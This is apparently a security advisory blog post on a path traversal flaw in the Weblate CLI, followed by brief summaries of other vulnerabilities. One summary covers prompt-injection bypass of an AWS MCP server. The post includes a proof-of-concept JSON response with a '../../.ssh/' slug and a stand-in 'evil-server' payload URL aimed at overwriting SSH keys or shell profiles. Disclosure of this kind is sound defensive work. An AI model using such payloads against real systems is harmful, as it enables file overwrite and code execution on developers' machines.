Jan 16, 2026·5 min read·26 visits
The Weblate CLI (wlc) blindly trusted server-provided identifiers when naming downloaded files. A malicious server can return a 'slug' containing directory traversal sequences (`../../`), allowing it to overwrite files like `~/.ssh/authorized_keys` or `.bashrc` on the developer's machine. Fixed in version 1.17.2 via strict regex sanitization.
A critical Path Traversal vulnerability in the Weblate command-line client (wlc) allows a malicious or compromised Weblate server to write arbitrary files to the client's machine. By crafting malicious 'slug' identifiers in API responses, an attacker can escape the download directory and overwrite sensitive user files.
In the modern DevSecOps landscape, we are obsessed with Zero Trust networking, yet we constantly run CLI tools that treat upstream servers like old drinking buddies. We curl | bash, we npm install packages from strangers, and in this case, we run wlc download to fetch translation files, assuming the server will behave itself. It turns out, that assumption is a critical error.
Weblate is a fantastic tool for managing internationalization. It automates the tedious process of syncing translation strings. The Weblate CLI (wlc) is the glue that developers use to pull those strings into their local environments or CI/CD pipelines. It connects to the Weblate API, asks for the latest data, and saves it to disk.
But here is the catch: when wlc asks the server "What should I name this file?", the vulnerable versions didn't verify the answer. If a compromised or malicious Weblate server decides that the file should be named ../../../../../bin/malware, the CLI dutifully obliges. This isn't just a bug; it's a fundamental architectural failure in trusting external input.
The vulnerability (CVE-2026-23535) is a classic Path Traversal (CWE-22), but the context makes it interesting. Usually, we see path traversal on the server side (a client asking for /etc/passwd). This is the reverse: the client is the victim, and the server is the attacker.
When you run the download command, wlc queries the API for project components. The API returns a JSON object containing metadata, including a slug—a short, URL-friendly identifier for the project and component. The CLI intends to save the file as [output_dir]/[project_slug]-[component_slug].zip.
The logic flaw is simple: the code assumed that a "slug" would always be a benign alphanumeric string. It failed to anticipate that a malicious API response could contain special characters like /, \, or ... Because Python's pathlib (and filesystem APIs in general) resolves paths dynamically, injecting ../ into the filename causes the write operation to traverse up the directory tree, escaping the intended sandbox.
Let's look at the smoking gun in wlc/main.py. The code uses pathlib.Path to construct the file path. While pathlib is generally safer than string concatenation for cross-platform compatibility, it does not inherently block traversal attacks if you feed it garbage.
Here is the vulnerable logic from versions prior to 1.17.2:
# The naive approach
directory = Path(self.args.output)
# trusting component.slug and component.project.slug implicitly
file_path = directory.joinpath(f"{component.project.slug}-{component.slug}.zip")
directory.mkdir(exist_ok=True, parents=True)
file_path.write_bytes(content)If self.args.output is /home/user/translations, and the server sends a project slug of ../../.ssh/ and a component slug of authorized_keys, the file_path resolves to /home/user/translations/../../.ssh/authorized_keys. The operating system normalizes this to /home/user/.ssh/authorized_keys, and write_bytes(content) overwrites your keys with whatever payload the server sent.
The fix, implemented in commit 216e691c6e50abae97fe2e4e4f21501bf49a585f, introduces a strict whitelist. They didn't just try to strip ../ (which is often bypassable); they nuked everything that isn't alphanumeric:
# The fix in wlc/utils.py
NON_SLUG_RE = re.compile(r"[^a-zA-Z0-9_]")
def sanitize_slug(slug: str) -> str:
# Replace anything weird with a hyphen
return NON_SLUG_RE.sub("-", slug)Now, ../../ becomes ------, rendering the traversal impotent.
To exploit this, an attacker needs control over the Weblate server instance that the victim is connecting to. This could be a rogue server setup to trick users (social engineering) or a legitimate Weblate instance that has been compromised. The attacker modifies the API response for the project metadata.
Here is the attack chain:
GET /api/components/ endpoint.slug to a traversal path.{
"results": [
{
"name": "Malicious Component",
"slug": "authorized_keys",
"project": {
"name": "Pwned Project",
"slug": "../../.ssh/"
},
"file_url": "http://evil-server/payload.zip"
}
]
}wlc download --output ./translations.../../.ssh/authorized_keys, downloads the zip file (which is actually a raw public key, not a zip, or the attacker relies on the zip content extraction depending on the exact flow), and writes it.> [!WARNING]
> If the attacker targets .bashrc or .zshrc, they gain persistent Remote Code Execution (RCE) the next time the developer opens a terminal. This turns a file write vulnerability into a full system compromise.
The remediation is straightforward: strict input sanitization. The developers of Weblate CLI reacted correctly by implementing an allowlist approach rather than a blocklist. Blocklists (trying to filter ../) are notoriously difficult to get right due to URL encoding, unicode normalization, and OS-specific separators.
Immediate Steps for Users:
wlc version 1.17.2 immediately. This version includes the regex sanitization that neuters the attack.
pip install --upgrade wlc.ssh, .config, shell profiles).Lessons for Developers:
Never trust data coming from an API, even if it's your own API. When performing filesystem operations based on remote input, always treat the input as hostile. Use os.path.basename() or strict regex validation to ensure filenames do not contain directory separators.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Weblate CLI (wlc) Weblate | < 1.17.2 | 1.17.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 |
| Attack Vector | Network (Malicious Server Response) |
| CVSS v3.1 | 8.1 (High) |
| Impact | Arbitrary File Write / Potential RCE |
| Exploit Status | PoC Available |
| Patch Status | Fixed in 1.17.2 |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.